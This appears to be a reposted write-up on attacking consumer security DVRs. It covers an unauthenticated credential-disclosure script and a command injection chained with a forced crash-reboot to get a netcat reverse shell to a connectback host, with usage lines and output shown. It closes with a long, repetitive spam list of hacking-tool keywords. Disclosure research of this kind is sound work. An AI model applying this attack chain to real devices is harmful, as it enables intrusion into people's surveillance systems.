I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)
This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:
"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
More info
- Hacker Tools For Pc
- Hacker Tools Github
- Hack Tool Apk
- Hack Tools 2019
- Hacking Tools Free Download
- Hack Tools For Ubuntu
- Pentest Tools Alternative
- Tools For Hacker
- Hack Tools Online
- Hacker Security Tools
- New Hacker Tools
- Github Hacking Tools
- Hacking Tools Pc
- Physical Pentest Tools
- Hacking Tools Download
- Pentest Tools Tcp Port Scanner
- Hack Tools For Pc
- Hacker Tools For Pc
- Tools 4 Hack
- How To Install Pentest Tools In Ubuntu
- Pentest Tools Port Scanner
- Hackrf Tools
- Bluetooth Hacking Tools Kali
- Hacking Tools Kit
- Hack Rom Tools
- Hacker Tools Hardware
- Hacker Tools List
- Kik Hack Tools
- Hacker Tools Free
- Hacking Tools For Pc
- Hacking Tools For Windows Free Download
- Termux Hacking Tools 2019
- Hacker Tools For Mac
- Android Hack Tools Github
- Hack Tools For Mac
- Android Hack Tools Github
- Hack Tools For Windows
- Pentest Tools For Ubuntu
- Hack App
- Best Hacking Tools 2019
- Hacks And Tools
- Hacker Tools Software
- Top Pentest Tools
- Hack Tools Download
- Hack Tools Github
- Pentest Tools Free
- Hacking Tools Pc
- Pentest Tools Github
- Pentest Tools Open Source
- New Hacker Tools
- Pentest Tools Nmap
- Hackers Toolbox
- Hack Tools Github
- Pentest Tools Port Scanner
- Black Hat Hacker Tools
- Pentest Box Tools Download
- Hacker Tools List
- Hacking Tools Hardware
- Pentest Tools Tcp Port Scanner
- Hacker Tools 2019
- Hackrf Tools
- Usb Pentest Tools
- Hacking Tools Name
- Hacking App
- Hacker Tools 2020
- Hack Tools For Games
- Tools Used For Hacking
- Pentest Tools For Windows
- Hacking Tools For Pc
- Pentest Tools Download
- Hacking Tools Download
- Pentest Tools Open Source
- Hack Tools Online
- Hacking Tools For Windows
- Game Hacking
- Hacker Tools
- Hack Tools For Ubuntu
- Tools 4 Hack
- Pentest Tools Framework
- Hack Tools For Pc
- Pentest Tools Port Scanner
- Pentest Tools List
- Hacker Techniques Tools And Incident Handling
- Pentest Tools For Windows
- Black Hat Hacker Tools
- Pentest Tools Free
- Github Hacking Tools
- How To Install Pentest Tools In Ubuntu
- Hack Tools Github
- Top Pentest Tools
- Pentest Automation Tools
- Install Pentest Tools Ubuntu
- Physical Pentest Tools
- Hackrf Tools
- Pentest Tools Framework
- Hacking Tools For Games
- What Is Hacking Tools
- Hack Apps
- Hack Tools Online
- Easy Hack Tools
- Game Hacking
- Hacking Tools For Pc
- Hacker Tools For Windows
- Hacking Tools Online
- Pentest Tools Framework
- Pentest Tools Open Source
- Pentest Tools For Android
- Hacking Tools Pc
- Hacking Tools
- Pentest Tools For Windows
- Hacking Tools Download
- Hack Website Online Tool
- Hacker Tools Windows
- Black Hat Hacker Tools
- Hacking Tools
- Hacker Tool Kit
- Hack Rom Tools
- Kik Hack Tools
- Game Hacking
- Hak5 Tools
- Hacking Tools Pc
- Hacking Tools For Pc
- Pentest Tools Review
- Best Hacking Tools 2020
- Best Pentesting Tools 2018
- Hacker Tools Online
- Hacker Tools Free
- Hacker Tools 2020
- Hacking Tools Kit
- Tools 4 Hack
- Underground Hacker Sites
- Hack Website Online Tool
- Hacking Tools For Pc
- Pentest Tools For Ubuntu
- Hacker Hardware Tools
- Pentest Tools Website
- Hacker
- Hacking Tools 2020
- Computer Hacker
- Hacking Tools Pc
- Hackers Toolbox
- Pentest Tools Subdomain
- Best Hacking Tools 2019
- Hacking Tools Pc
- Hacking Tools And Software
- Hacker Tools Windows
- Pentest Tools Github
- Hack Tools
- Hackrf Tools
- Pentest Tools List
- Pentest Box Tools Download
- Hacker Tools Mac
- Pentest Tools Linux
- Hack Tool Apk No Root
- Hacker Tools Mac
- Hacking Tools For Kali Linux
- Hacker Tools For Mac
- Hacking Tools For Games
- Nsa Hack Tools
- Hacker Tools Linux
- Nsa Hacker Tools
- Hack Rom Tools















